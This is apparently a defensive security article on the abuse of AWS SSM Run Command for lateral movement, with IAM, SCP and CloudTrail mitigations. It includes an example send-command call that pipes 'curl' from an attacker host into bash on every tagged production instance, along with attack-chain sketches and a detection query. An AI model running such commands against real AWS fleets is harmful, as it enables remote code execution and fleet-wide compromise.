This issue has been assessed as high severity. Review affected configurations immediately.
AWS Systems Manager Run Command is one of those services that appears on the “good practice” side of cloud security guidance — no open SSH ports, no bastion hosts, agent-based management. That framing is accurate, and Run Command genuinely improves the security posture of EC2 management. It also means that any principal with ssm:SendCommand on your EC2 fleet can execute arbitrary commands across every instance that runs the SSM Agent, no network connectivity required.
This duality is why Run Command appears consistently in post-compromise attack chains. An attacker who gains an IAM principal with appropriate permissions — through credential theft, role abuse, or privilege escalation — has immediate access to every managed EC2 instance in the account. The technique is documented in MITRE ATT&CK as T1651 (Cloud Administration Command).
The Attack Path
The minimal capability required to execute commands on EC2 instances via SSM is:
ssm:SendCommand
With this permission and a target instance ID (trivially enumerated via ec2:DescribeInstances), an attacker can send any shell command to run as the SSM Agent user (root on Linux, SYSTEM on Windows):
aws ssm send-command \
--document-name "AWS-RunShellScript" \
--targets "Key=tag:Environment,Values=Production" \
--parameters '{"commands":["curl -s http://attacker.com/beacon | bash"]}'
The --targets parameter accepts tag filters, meaning a single API call can target every instance matching a tag pattern. Key=instanceids,Values=* targets all instances. This is what makes the technique powerful for lateral movement: it’s simultaneous access to an entire fleet.
For Windows targets, AWS-RunPowerShellScript provides equivalent capability with PowerShell execution.
Why It Bypasses Perimeter Controls
Run Command operates entirely through the SSM service endpoints, not through network connections to instance IP addresses. A managed instance polls SSM over HTTPS (port 443) for pending commands. This means:
- Security groups blocking inbound SSH/RDP do not affect SSM execution
- VPC network ACLs blocking lateral movement paths do not block SSM
- Instances in private subnets with no inbound rules are reachable via SSM
- There is no connection from the attacker’s machine to the EC2 instance — the instance reaches out to SSM
From a network visibility perspective, the command execution is invisible at the perimeter layer. The execution shows up only in CloudTrail (if logging is correctly configured) and in OS-level process telemetry on the instance itself.
Real-World Exploitation Patterns
In post-compromise scenarios, attackers typically chain Run Command with other techniques:
Credential access → Run Command deployment: Initial access via exposed IAM access keys (S3 bucket, code repository, environment variables). Keys have ssm:SendCommand attached to an overly permissive policy. Attacker deploys C2 agent via Run Command across the fleet.
Role assumption → Run Command: An EC2 instance role has sts:AssumeRole to a role with SSM permissions. SSRF against the instance metadata endpoint extracts the instance role credentials. Attacker assumes the cross-account or cross-service role and runs commands.
Lambda → EC2 via SSM: Lambda execution role has ssm:SendCommand for operational reasons (triggering maintenance scripts). Lambda code injection or event source manipulation allows command execution on EC2 instances the Lambda was never intended to reach.
IAM Hardening
The core control is IAM scoping. Default AWS managed policies like AmazonSSMFullAccess grant ssm:SendCommand with * on all resources. Replace these with least-privilege policies:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "ssm:SendCommand",
"Resource": [
"arn:aws:ec2:*:*:instance/*",
"arn:aws:ssm:*:*:document/AWS-RunShellScript"
],
"Condition": {
"StringEquals": {
"ssm:resourceTag/ManagedBy": "automation"
}
}
}
]
}
The Condition block using ssm:resourceTag restricts Run Command to instances carrying a specific tag. Instances without that tag are not targetable even with the permission. This limits the blast radius of a compromised automation role.
For human IAM roles that require SSM Session Manager (interactive shell access), separate the ssm:StartSession permission from ssm:SendCommand. Interactive shell access and script execution are different operational needs and should map to different roles.
Service Control Policies
For organisations using AWS Organizations, SCPs can restrict ssm:SendCommand across accounts:
{
"Effect": "Deny",
"Action": "ssm:SendCommand",
"Resource": "*",
"Condition": {
"ArnNotLike": {
"aws:PrincipalArn": "arn:aws:iam::*:role/approved-ssm-automation-*"
}
}
}
This denies ssm:SendCommand to any principal whose ARN does not match the approved automation role pattern — preventing developers, application roles, and any compromised principal from using the capability directly.
CloudTrail Detection
ssm:SendCommand calls generate SendCommand events in CloudTrail. Key fields for detection:
| Field | Significance |
|---|---|
userIdentity.arn | Caller identity — flag non-automation roles |
requestParameters.targets | Wildcard or broad tag targets are anomalous |
requestParameters.documentName | AWS-RunShellScript, AWS-RunPowerShellScript are execution documents |
requestParameters.parameters.commands | The actual command content (where available) |
responseElements.command.instanceIds | How many instances were targeted |
A detection rule for CloudTrail targeting broad or wildcard use:
eventSource = ssm.amazonaws.com
AND eventName = SendCommand
AND (requestParameters.targets LIKE '%instanceids,Values=*%'
OR requestParameters.targets LIKE '%*%')
Alert on SendCommand from non-automation identities calling execution documents against broad target sets. The combination of a human IAM user or a non-baseline role using AWS-RunShellScript against tag-based targets covering production instances should generate immediate investigation.
Instance-Level Telemetry
On the instance side, SSM-executed commands appear as child processes of the SSM Agent (amazon-ssm-agent on Linux). Any process monitoring solution that tracks parent-child relationships will show unusual parent processes for commands executed via SSM. A shell spawning from the SSM agent is not inherently suspicious — maintenance scripts look the same — but a reverse shell, curl-pipe-bash pattern, or network connection from an SSM Agent child process warrants investigation.
For Linux, the SSM Agent execution log at /var/log/amazon/ssm/amazon-ssm-agent.log records command execution. These logs are not automatically forwarded to CloudWatch unless configured.
The Core Principle
The security properties that make Run Command operationally attractive — no inbound network rules, no key management, fleet-wide reach — are identical to the properties that make it attractive for lateral movement. Access control at the IAM layer is the only effective mitigation; network controls do not apply to this attack path.
Audit which principals have ssm:SendCommand in your environment. If the list includes anything other than tightly scoped automation roles, the permission surface is larger than it needs to be.